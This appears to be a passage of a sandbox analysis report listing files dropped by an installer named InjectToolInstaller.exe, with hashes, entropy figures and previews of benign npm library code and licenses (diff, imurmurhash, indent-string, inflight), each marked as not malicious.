Preview:	/istanbul ignore start/."use strict";..Object.defineProperty(exports, "__esModule", {. value: true.});.exports.diffSentences = diffSentences;.exports.sentenceDiff = void 0;../istanbul ignore end/.var./istanbul ignore start/._base = _interopRequireDefault(require("./base"))./istanbul ignore end/.;../istanbul ignore start/ function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; }../istanbul ignore end/.var sentenceDiff = new./istanbul ignore start/._base./istanbul ignore end/.[./istanbul ignore start/."default"./istanbul ignore end/.]();../istanbul ignore start/.exports.sentenceDiff = sentenceDiff;../istanbul ignore end/.sentenceDiff.tokenize = function (value) {. return value.split(/(\S.+?[.!?])(?=\s+\|$)/);.};..function diffSentences(oldStr, newStr, callback) {. return sentenceDiff.diff(oldStr, newStr, callback);.}.//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi4uLy4uL3N

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\diff\lib\diff\word.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text, with very long lines (5824)
Category:	dropped
Size (bytes):	8807
Entropy (8bit):	5.943349203776067
Encrypted:	false
SSDEEP:	192:GqPuEWSNJb9m3XBcxXEzmptNQjJwpdC3rCvIIXyU9E63EK9:7WEWSNxejmptNLdC3rwInGEK9
MD5:	066411B2F3821C32265813852458D6A7
SHA1:	EB7EFB705DA05D119A7BEB310103876A89281809
SHA-256:	56F8BFC3BD504657133F8172FA63FC4EF48EC3234B2143F393211E797ECF2D66
SHA-512:	019B3E04A0ABFAFE234628E21C00AD2449B0A3D12FFCB82D870DA12690FD25F5C5A6E953D5FEDFE5BF5A69F9B097BCC2B52AB4E17CEB11BAA6FA8972D7D9FCC6
Malicious:	false
Preview:	/istanbul ignore start/."use strict";..Object.defineProperty(exports, "__esModule", {. value: true.});.exports.diffWords = diffWords;.exports.diffWordsWithSpace = diffWordsWithSpace;.exports.wordDiff = void 0;../istanbul ignore end/.var./istanbul ignore start/._base = _interopRequireDefault(require("./base"))./istanbul ignore end/.;..var./istanbul ignore start/._params = require("../util/params")./istanbul ignore end/.;../istanbul ignore start/ function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; }../istanbul ignore end/.// Based on https://en.wikipedia.org/wiki/Latin_script_in_Unicode.//.// Ranges and exceptions:.// Latin-1 Supplement, 0080.00FF.// - U+00D7 . Multiplication sign.// - U+00F7 . Division sign.// Latin Extended-A, 0100.017F.// Latin Extended-B, 0180.024F.// IPA Extensions, 0250.02AF.// Spacing Modifier Letters, 02B0.02FF.// - U+02C7 . ˇ Caron.// - U+02D8 . ˘ Breve.// - U+02D9 .

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\diff\lib\index.es6.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	45150
Entropy (8bit):	4.849661738669639
Encrypted:	false
SSDEEP:	768:zfeD8gMFi/kpf9mCzAukbkRiWmWDl6dCHY7kW6vtgbvPhnp6KsLScPwoHVZCVX6q:zfecHAuqM3tgbBYKsVq
MD5:	B0189FC844758EA7861A33D4CF3DEAA2
SHA1:	42B196484A16DB7A66EEB56906ED26E2182799FB
SHA-256:	69694883A1EE6EF36C17144E2EB41E5D75B8C0F487CAE980FD536BCAB5960931
SHA-512:	46558E8DFABDBF10C92CC41358526B4D779A5E256303032CFBFAAA966D0283881FDD97380D494066EFB210172EB5A6544D5906A29972DB2FEB9A79C5F972B6ED
Malicious:	false
Preview:	function Diff() {}.Diff.prototype = {. diff: function diff(oldString, newString) {. var options = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {};. var callback = options.callback;.. if (typeof options === 'function') {. callback = options;. options = {};. }.. this.options = options;. var self = this;.. function done(value) {. if (callback) {. setTimeout(function () {. callback(undefined, value);. }, 0);. return true;. } else {. return value;. }. } // Allow subclasses to massage the input prior to running... oldString = this.castInput(oldString);. newString = this.castInput(newString);. oldString = this.removeEmpty(this.tokenize(oldString));. newString = this.removeEmpty(this.tokenize(newString));. var newLen = newString.length,. oldLen = oldString.length;. var editLength = 1;. var maxEditLength = newLen + oldLen;.. if (options.maxEditLength) {.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\diff\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (3012)
Category:	dropped
Size (bytes):	7236
Entropy (8bit):	5.751206114123984
Encrypted:	false
SSDEEP:	192:GqfjQRYCQR9iQRkGQRowQRkCQRCxQROQQRbZQR9sQRw7JQRarKQR2iQRKzQRGDyC:7byLycyxyJyFyOyLylyiy4JyaOyrySyI
MD5:	45209E07E41D77271F63ADFBCD59D917
SHA1:	C3F3385BDF0F411B888BB8700C5097503D4DE2D2
SHA-256:	B2EA7D13F91893E2D8B47D86E6F9011F7F8A9721956BB4CDA31AAE20F4C69BB2
SHA-512:	67DED2D0D037D32162A70A02CFDFAC58FCE7EC4F2E226C09B85F195A6B0DE9D44E5D657BEFB0E8C471796D3E1DBA73FA412D607A0FFB9B5606696282AB33717E
Malicious:	false
Preview:	/istanbul ignore start/."use strict";..Object.defineProperty(exports, "__esModule", {. value: true.});.Object.defineProperty(exports, "Diff", {. enumerable: true,. get: function get() {. return _base["default"];. }.});.Object.defineProperty(exports, "diffChars", {. enumerable: true,. get: function get() {. return _character.diffChars;. }.});.Object.defineProperty(exports, "diffWords", {. enumerable: true,. get: function get() {. return _word.diffWords;. }.});.Object.defineProperty(exports, "diffWordsWithSpace", {. enumerable: true,. get: function get() {. return _word.diffWordsWithSpace;. }.});.Object.defineProperty(exports, "diffLines", {. enumerable: true,. get: function get() {. return _line.diffLines;. }.});.Object.defineProperty(exports, "diffTrimmedLines", {. enumerable: true,. get: function get() {. return _line.diffTrimmedLines;. }.});.Object.defineProperty(exports, "diffSentences", {. enumerable: true,. get: function get() {. return

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\diff\lib\index.mjs

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	45150
Entropy (8bit):	4.849661738669639
Encrypted:	false
SSDEEP:	768:zfeD8gMFi/kpf9mCzAukbkRiWmWDl6dCHY7kW6vtgbvPhnp6KsLScPwoHVZCVX6q:zfecHAuqM3tgbBYKsVq
MD5:	B0189FC844758EA7861A33D4CF3DEAA2
SHA1:	42B196484A16DB7A66EEB56906ED26E2182799FB
SHA-256:	69694883A1EE6EF36C17144E2EB41E5D75B8C0F487CAE980FD536BCAB5960931
SHA-512:	46558E8DFABDBF10C92CC41358526B4D779A5E256303032CFBFAAA966D0283881FDD97380D494066EFB210172EB5A6544D5906A29972DB2FEB9A79C5F972B6ED
Malicious:	false
Preview:	function Diff() {}.Diff.prototype = {. diff: function diff(oldString, newString) {. var options = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {};. var callback = options.callback;.. if (typeof options === 'function') {. callback = options;. options = {};. }.. this.options = options;. var self = this;.. function done(value) {. if (callback) {. setTimeout(function () {. callback(undefined, value);. }, 0);. return true;. } else {. return value;. }. } // Allow subclasses to massage the input prior to running... oldString = this.castInput(oldString);. newString = this.castInput(newString);. oldString = this.removeEmpty(this.tokenize(oldString));. newString = this.removeEmpty(this.tokenize(newString));. var newLen = newString.length,. oldLen = oldString.length;. var editLength = 1;. var maxEditLength = newLen + oldLen;.. if (options.maxEditLength) {.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\diff\lib\patch\apply.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (14196)
Category:	dropped
Size (bytes):	19926
Entropy (8bit):	5.810089186544549
Encrypted:	false
SSDEEP:	384:77QWwO2WDlGpr/FUhsp4HE+uIZBXuQ6yfy5v:7MWCWDlGpr/FUhsp4HvuSBXuiq5v
MD5:	B5F939A05CD6949954FE5838ABDE3391
SHA1:	C72692E5936C2B3B78F7D2740B9654EBBADB3E94
SHA-256:	E5E12DDC9F74C00841C540BC49DFF0A3BC0D36C4C7027449B10E362123EDB49B
SHA-512:	592A48EBF90942921960D13E581490A156141E2271AE96A91408AF7D31D15DDC787E610962DF9DF0FD2A28CE5D6FB7BAFAF982D8367CB5A14FF144881AA37BB9
Malicious:	false
Preview:	/istanbul ignore start/."use strict";..Object.defineProperty(exports, "__esModule", {. value: true.});.exports.applyPatch = applyPatch;.exports.applyPatches = applyPatches;../istanbul ignore end/.var./istanbul ignore start/._parse = require("./parse")./istanbul ignore end/.;..var./istanbul ignore start/._distanceIterator = _interopRequireDefault(require("../util/distance-iterator"))./istanbul ignore end/.;../istanbul ignore start/ function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; }../istanbul ignore end/.function applyPatch(source, uniDiff) {. /istanbul ignore start/. var. /istanbul ignore end/. options = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {};.. if (typeof uniDiff === 'string') {. uniDiff =. /istanbul ignore start/. (0,. /istanbul ignore end/.. /istanbul ignore start/. _parse. /istanbul ignore end/. .. /istanbul ignore start/. parsePatch).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\diff\lib\patch\create.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (15320)
Category:	dropped
Size (bytes):	23586
Entropy (8bit):	5.795913518451438
Encrypted:	false
SSDEEP:	384:7vODCAtVhGwXjC6VmCEqguSm9OycCqQZyof+SQqKP07IezYi4ppBE2EVpDoplxmS:7vODCAtVMECuLGZ07IeMi4ppBE2EVpDM
MD5:	C112ABB6141851DA513B24A69881C147
SHA1:	AA626B2D4439C41FFD06B1AE1D725C20554017C0
SHA-256:	CBFD20BD38B97F4B9DD44AEB8B5730BAF90A15F9281BA9CA6C23766A665BA647
SHA-512:	BECC39AB6E9F671F02AF2F1C9BFE0A4A0251655D65B5EBCC339192A4BCB87158ECF79A1EC1E811CC6E02CF75B2CA6FECB26D3EF6516BA23458A942C2D97BF6C7
Malicious:	false
Preview:	/istanbul ignore start/."use strict";..Object.defineProperty(exports, "__esModule", {. value: true.});.exports.structuredPatch = structuredPatch;.exports.formatPatch = formatPatch;.exports.createTwoFilesPatch = createTwoFilesPatch;.exports.createPatch = createPatch;../istanbul ignore end/.var./istanbul ignore start/._line = require("../diff/line")./istanbul ignore end/.;../istanbul ignore start/ function _toConsumableArray(arr) { return _arrayWithoutHoles(arr) \|\| _iterableToArray(arr) \|\| _unsupportedIterableToArray(arr) \|\| _nonIterableSpread(); }..function _nonIterableSpread() { throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }..function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.na

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\diff\lib\patch\merge.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (34588)
Category:	dropped
Size (bytes):	50907
Entropy (8bit):	5.768412581651993
Encrypted:	false
SSDEEP:	1536:DtgbeXKsDTOuprGJ3UPaMEZErp5nppxhpS+2KE9phoU0EwpzUp8PIB5voVU95BMX:YgP05vfMX
MD5:	5B61ED37DF8D8D18440DB735CD95ECA5
SHA1:	11CC5226CA662B116B2026301DCFBF9AC47F9624
SHA-256:	E787B5D3A9BFE5993416133A6438A43AF5BB7B6DFC5D4E1862AA88D86EE08A13
SHA-512:	FB412FB71B361DDD33D20ED85593685C570F88350C307760AA0B04B06BC64061C5D881187C23945202361D50F8E0786585550746B5F04456D99A17147F686AC2
Malicious:	false
Preview:	/istanbul ignore start/."use strict";..Object.defineProperty(exports, "__esModule", {. value: true.});.exports.calcLineCount = calcLineCount;.exports.merge = merge;../istanbul ignore end/.var./istanbul ignore start/._create = require("./create")./istanbul ignore end/.;..var./istanbul ignore start/._parse = require("./parse")./istanbul ignore end/.;..var./istanbul ignore start/._array = require("../util/array")./istanbul ignore end/.;../istanbul ignore start/ function _toConsumableArray(arr) { return _arrayWithoutHoles(arr) \|\| _iterableToArray(arr) \|\| _unsupportedIterableToArray(arr) \|\| _nonIterableSpread(); }..function _nonIterableSpread() { throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }..function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o)

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\diff\lib\patch\parse.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (13176)
Category:	dropped
Size (bytes):	17908
Entropy (8bit):	5.853143132472019
Encrypted:	false
SSDEEP:	192:Gqef0YkcZT6nKwEjJu+U3Plq2xcWcpn9DlMV94i46hqwS+tdsaVkniYxOgA4Ghb4:7Ukb+scWcjDlMr4i46t5dsaVIiL6oRWl
MD5:	38667189B33238EE8B6216CEFB6D271C
SHA1:	6C174DC63006189B717BCF558AC5319BE6E8357D
SHA-256:	0A0C0401D39F10012C9A1D5597A390F891C48C6DE880F7F8F4BFF854FA63A882
SHA-512:	9D82370E61A870D0277021E2A5F316602D8E3411CDF641731DC32BC9D529D28FB0A03555B8B0551EFA395B43199936822705EA01D2897851FAAB24F75F03A907
Malicious:	false
Preview:	/istanbul ignore start/."use strict";..Object.defineProperty(exports, "__esModule", {. value: true.});.exports.parsePatch = parsePatch;../istanbul ignore end/.function parsePatch(uniDiff) {. /istanbul ignore start/. var. /istanbul ignore end/. options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};. var diffstr = uniDiff.split(/\r\n\|[\n\v\f\r\x85]/),. delimiters = uniDiff.match(/\r\n\|[\n\v\f\r\x85]/g) \|\| [],. list = [],. i = 0;.. function parseIndex() {. var index = {};. list.push(index); // Parse diff metadata.. while (i < diffstr.length) {. var line = diffstr[i]; // File header found, end parsing diff metadata.. if (/^(\-\-\-\|\+\+\+\|@@)\s/.test(line)) {. break;. } // Diff index... var header = /^(?:Index:\|diff(?: -r \w+)+)\s+(.+?)\s*$/.exec(line);.. if (header) {. index.index = header[1];. }.. i++;. } // Parse file headers if they are defined. Unified diff requires the

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\diff\lib\util\array.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (1476)
Category:	dropped
Size (bytes):	2026
Entropy (8bit):	5.827240184816126
Encrypted:	false
SSDEEP:	48:GqBEckAodZMgoJ4IcDoqPQ9+ImqWCmYp/TLIdbB:GqBEBn3YzwPQ9vbEY56
MD5:	F6788F9800BC1DD34B316D4DCCF84BDD
SHA1:	63F50C586DF5DBCAC695FB7CF71BB1AFE9715980
SHA-256:	856782965C876EAB3E9C2B8325B875DEE5BB7D21D3CA4545C2B6EB5801F355ED
SHA-512:	52046F78E3C75219FE19129FDB5821FA54E649CEA67075E2031DF79281B67345100EBA6D1063D42EFD44F4A2D8CF15C3F389DFCD51F64A7B3D0D65B826595B23
Malicious:	false
Preview:	/istanbul ignore start/."use strict";..Object.defineProperty(exports, "__esModule", {. value: true.});.exports.arrayEqual = arrayEqual;.exports.arrayStartsWith = arrayStartsWith;../istanbul ignore end/.function arrayEqual(a, b) {. if (a.length !== b.length) {. return false;. }.. return arrayStartsWith(a, b);.}..function arrayStartsWith(array, start) {. if (start.length > array.length) {. return false;. }.. for (var i = 0; i < start.length; i++) {. if (start[i] !== array[i]) {. return false;. }. }.. return true;.}.//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi4uLy4uL3NyYy91dGlsL2FycmF5LmpzIl0sIm5hbWVzIjpbImFycmF5RXF1YWwiLCJhIiwiYiIsImxlbmd0aCIsImFycmF5U3RhcnRzV2l0aCIsImFycmF5Iiwic3RhcnQiLCJpIl0sIm1hcHBpbmdzIjoiOzs7Ozs7Ozs7O0FBQU8sU0FBU0EsVUFBVCxDQUFvQkMsQ0FBcEIsRUFBdUJDLENBQXZCLEVBQTBCO0FBQy9CLE1BQUlELENBQUMsQ0FBQ0UsTUFBRixLQUFhRCxDQUFDLENBQUNDLE1BQW5CLEVBQTJCO0FBQ3pCLFdBQU8sS0FBUDtBQUNEOztBQUVELFNBQU9DLGV

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\imurmurhash\imurmurhash.min.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	HTML document, ASCII text, with very long lines (1452)
Category:	dropped
Size (bytes):	1894
Entropy (8bit):	5.469301776337895
Encrypted:	false
SSDEEP:	48:M6ZEwuz9E6pEGbTR2IWqFvqKB+WpxorCBkuCuBAddjY:5El9E6f2Y5qKB+QsQBqd0
MD5:	52D2EB410DE1C9E0758EF562289289FA
SHA1:	806132E53D0E6D94BCB3A492AA05BC4078578C13
SHA-256:	EA8490563A229B89F2B779217938F9EB2BCF93DD89DE9F7FC5C035632F0934B5
SHA-512:	5BD2D78DDFFACA26F8388296AD30E80288C51E67409A98D6B9D7DEE2AD8391CD229663AAE8B4FC0FCB196DF95534A33E4CA088F03D9F61AC94A7D7BA84E61360
Malicious:	false
Preview:	/*. @preserve. * JS Implementation of incremental MurmurHash3 (r150) (as of May 10, 2013). . @author <a href="mailto:jensyt@gmail.com">Jens Taylor</a>. * @see http://github.com/homebrewing/brauhaus-diff. * @author <a href="mailto:gary.court@gmail.com">Gary Court</a>. * @see http://github.com/garycourt/murmurhash-js. * @author <a href="mailto:aappleby@gmail.com">Austin Appleby</a>. * @see http://sites.google.com/site/murmurhash/. /.!function(){function t(h,r){var s=this instanceof t?this:e;return s.reset(r),"string"==typeof h&&h.length>0&&s.hash(h),s!==this?s:void 0}var e;t.prototype.hash=function(t){var e,h,r,s,i;switch(i=t.length,this.len+=i,h=this.k1,r=0,this.rem){case 0:h^=i>r?65535&t.charCodeAt(r++):0;case 1:h^=i>r?(65535&t.charCodeAt(r++))<<8:0;case 2:h^=i>r?(65535&t.charCodeAt(r++))<<16:0;case 3:h^=i>r?(255&t.charCodeAt(r))<<24:0,h^=i>r?(65280&t.charCodeAt(r++))>>8:0}if(this.rem=3&i+this.rem,i-=this.rem,i>0){for(e=this.h1;;){if(h=4294967295&11601h+3432906752*(65535&h),h=h

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\imurmurhash\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	4.646071442250116
Encrypted:	false
SSDEEP:	12:ux1CFCJoclCPvF/9D9ruF3UbmPlCPgePlC9OjwkQmsmxySr5GPeal5J04JuPTvD:a1CFWupuFvq3/UdxjSrYNe44TvD
MD5:	FEB3F37F4780F79E5FDB5FF0870F1057
SHA1:	A28F2B413385AF4188C4FC0AD1E0C38C2CD03CF4
SHA-256:	AA3B07E7FA3D63AA96E401C3842B8CCA1DD3247954BAF92377094766E903C185
SHA-512:	A07698772A4A6D86E5E741114E02E66B6CAFE0427262C41CD041D02BD49C89CF1DAC07C3BE6D13AAA7B1547C8650273DDBFE6FC76FE1F461875DAC6A4FBEBF41
Malicious:	false
Preview:	{. "name": "imurmurhash",. "version": "0.1.4",. "description": "An incremental implementation of MurmurHash3",. "homepage": "https://github.com/jensyt/imurmurhash-js",. "main": "imurmurhash.js",. "files": [. "imurmurhash.js",. "imurmurhash.min.js",. "package.json",. "README.md". ],. "repository": {. "type": "git",. "url": "https://github.com/jensyt/imurmurhash-js". },. "bugs": {. "url": "https://github.com/jensyt/imurmurhash-js/issues". },. "keywords": [. "murmur",. "murmurhash",. "murmurhash3",. "hash",. "incremental". ],. "author": {. "name": "Jens Taylor",. "email": "jensyt@gmail.com",. "url": "https://github.com/homebrewing". },. "license": "MIT",. "dependencies": {. },. "devDependencies": {. },. "engines": {. "node": ">=0.8.19". }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\indent-string\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	743
Entropy (8bit):	4.919079707072532
Encrypted:	false
SSDEEP:	12:uBUBL4IVIqIv0jYJq9DbF64ljF+EJq67bF0lb6YRJqWCDbFZZ9JUHIkVRCAlFkQ3:uBUmIVqcDb5ljF+a7bKlvYDbV7AFhj
MD5:	E8FD0920F2F01FE6D1F99EFBD7B5619E
SHA1:	9C4D9C2ACD8FCFF21A0B3BE049CAEB37E0DB31BD
SHA-256:	06FC10FB7018BD156B34B1443D67D0E1FF1986E534878B493EF6095D675EBF33
SHA-512:	3544D70C4D84DBA0020166EBD689BEDC4EC4653C6B8775D7174104FA8773C4BB462C88C5847B858AC8EBFD825171E039E8D8F59A6A56765C07AF454E63FE731E
Malicious:	false
Preview:	'use strict';..module.exports = (string, count = 1, options) => {..options = {...indent: ' ',...includeEmptyLines: false,......options..};...if (typeof string !== 'string') {...throw new TypeError(....`Expected \`input\` to be a \`string\`, got \`${typeof string}\``...);..}...if (typeof count !== 'number') {...throw new TypeError(....`Expected \`count\` to be a \`number\`, got \`${typeof count}\``...);..}...if (typeof options.indent !== 'string') {...throw new TypeError(....`Expected \`options.indent\` to be a \`string\`, got \`${typeof options.indent}\``...);..}...if (count === 0) {...return string;..}...const regex = options.includeEmptyLines ? /^/gm : /^(?!\s*$)/gm;...return string.replace(regex, options.indent.repeat(count));.};.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\indent-string\license

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (460)
Category:	dropped
Size (bytes):	1109
Entropy (8bit):	5.0681506929270785
Encrypted:	false
SSDEEP:	24:ar4JHBH0yPP3gtAHw1hl9QHcsUv48Ok4/+dbo3oqxFD:a8JplPvEDvQHcs5ITc3omFD
MD5:	915042B5DF33C31A6DB2B37EADAA00E3
SHA1:	5AAF48196DDD4D007A3067AA7F30303CA8E4B29C
SHA-256:	48DA2F39E100D4085767E94966B43F4FA95FF6A0698FBA57ED460914E35F94A0
SHA-512:	9C8B2DEF76AE5FFE4D636166BF9635D7ABD69CDAC4BF819A2145F7969646D39AE95C96364BC117F9FA544B98518C294233455D4F665AF430C75D70798DD4AB13
Malicious:	false
Preview:	MIT License..Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)..Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHE

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\indent-string\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	582
Entropy (8bit):	4.696034353347338
Encrypted:	false
SSDEEP:	12:gO1chq1EcMyNebtKG2zyQnN1FGN/ZDt4bhpZiL:Z16kEzwQlBt2pg
MD5:	2CAE52047BBCAD559E6B4FBF86A9D8C1
SHA1:	8E67654392F062EBC5CD54E0F7D06427700E73B9
SHA-256:	5B15D951490EA56F6309D9203E1C3CFD036AD1C67CA1C7F372CBFDFBF3FAECB7
SHA-512:	12639FB1808C03E60BFC131CAECA5181FE7E0C47CE43737FCC7781CEFC0FCF03175CCCC1358FEE90C53073D69FA660A6F8B0E442C6390E6419BA966479D50641
Malicious:	false
Preview:	{.."name": "indent-string",.."version": "4.0.0",.."description": "Indent each line in a string",.."license": "MIT",.."repository": "sindresorhus/indent-string",.."author": {..."name": "Sindre Sorhus",..."email": "sindresorhus@gmail.com",..."url": "sindresorhus.com"..},.."engines": {..."node": ">=8"..},.."scripts": {..."test": "xo && ava && tsd"..},.."files": [..."index.js",..."index.d.ts"..],.."keywords": [..."indent",..."string",..."pad",..."align",..."line",..."text",..."each",..."every"..],.."devDependencies": {..."ava": "^1.4.1",..."tsd": "^0.7.2",..."xo": "^0.24.0"..}.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\inflight\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	748
Entropy (8bit):	4.9874659390608365
Encrypted:	false
SSDEEP:	12:9FM9ZFICS4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3t:9SZFCICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	90A3CA01A5EFED8B813A81C6C8FA2E63
SHA1:	515EC4469197395143DD4BFE9B1BC4E0D9B6B12A
SHA-256:	05DC4D785AC3A488676D3ED10E901B75AD89DAFCC63F8E66610FD4A39CC5C7E8
SHA-512:	C9D6162BEF9880A5AB6A5AFE96F3EC1BD9DEAD758CA427F9BA2E8E9D9ADAAF5649AAD942F698F39B7A9A437984F8DC09141F3834CD78B03104F81AD908D15B31
Malicious:	false
Preview:	The ISC License..Copyright (c) Isaac Z. Schlueter..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\inflight\inflight.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1365
Entropy (8bit):	4.532656057305566
Encrypted:	false
SSDEEP:	24:mcB3nd/+rI3cQc/QdCVBnXTBmSMAfCpVqp+Pm64WYU53B:mcFd/+rI3cQcpnsnA6qFdU7
MD5:	42BBC3622ABFEFCA5862FD0D12441A15
SHA1:	84AED0B47C15DE35A85A5AA6C641342BA4DD5A88
SHA-256:	E33EA098A91D2C41BE886FBBCECACB9799FE183D8A446F138A4786CB3D809802
SHA-512:	1B832AE6EF12DF389DC5028CCD80DC811EAB5D4816DB87BA8E531EA47A2097A26801C14F15E0E736C94C665964D23E55E58750FCFF7693166B2ADB1F7D582C89
Malicious:	false
Preview:	var wrappy = require('wrappy').var reqs = Object.create(null).var once = require('once')..module.exports = wrappy(inflight)..function inflight (key, cb) {. if (reqs[key]) {. reqs[key].push(cb). return null. } else {. reqs[key] = [cb]. return makeres(key). }.}..function makeres (key) {. return once(function RES () {. var cbs = reqs[key]. var len = cbs.length. var args = slice(arguments).. // XXX It's somewhat ambiguous whether a new callback added in this. // pass should be queued for later execution if something in the. // list of callbacks throws, or if it should just be discarded.. // However, it's such an edge case that it hardly matters, and either. // choice is likely as surprising as the other.. // As it happens, we do go ahead and schedule it for later execution.. try {. for (var i = 0; i < len; i++) {. cbs[i].apply(null, args). }. } finally {. if (cbs.length > len) {. // added more in the interim..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\inflight\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	658
Entropy (8bit):	4.711251688823241
Encrypted:	false
SSDEEP:	12:yL18L3oXRRR6+P14O/x4TgENqn0dPWjVqLOJObmP8TgNdrLwPOsh7C:+1E34KH1sL0gdDk09EWL
MD5:	85BA25624378C23E1EE9B33D3D103BF0
SHA1:	40E50820BEED8BFEE8CE186D5BE617A8C213E7E1
SHA-256:	5F2489E13F73E9EBAD999134FAE8A591F6D8B58E8341EC8E3B33397C4D1EF817
SHA-512:	FA5CC51E5A46B5BE8E9538812AD1A719792C7F7B4426210A840D1DF18D85452D1E27B2A64EC7B0149D5EA61FFE0E27FD0319C84C0CD4945CBAA6B4E7F66E545F
Malicious:	false
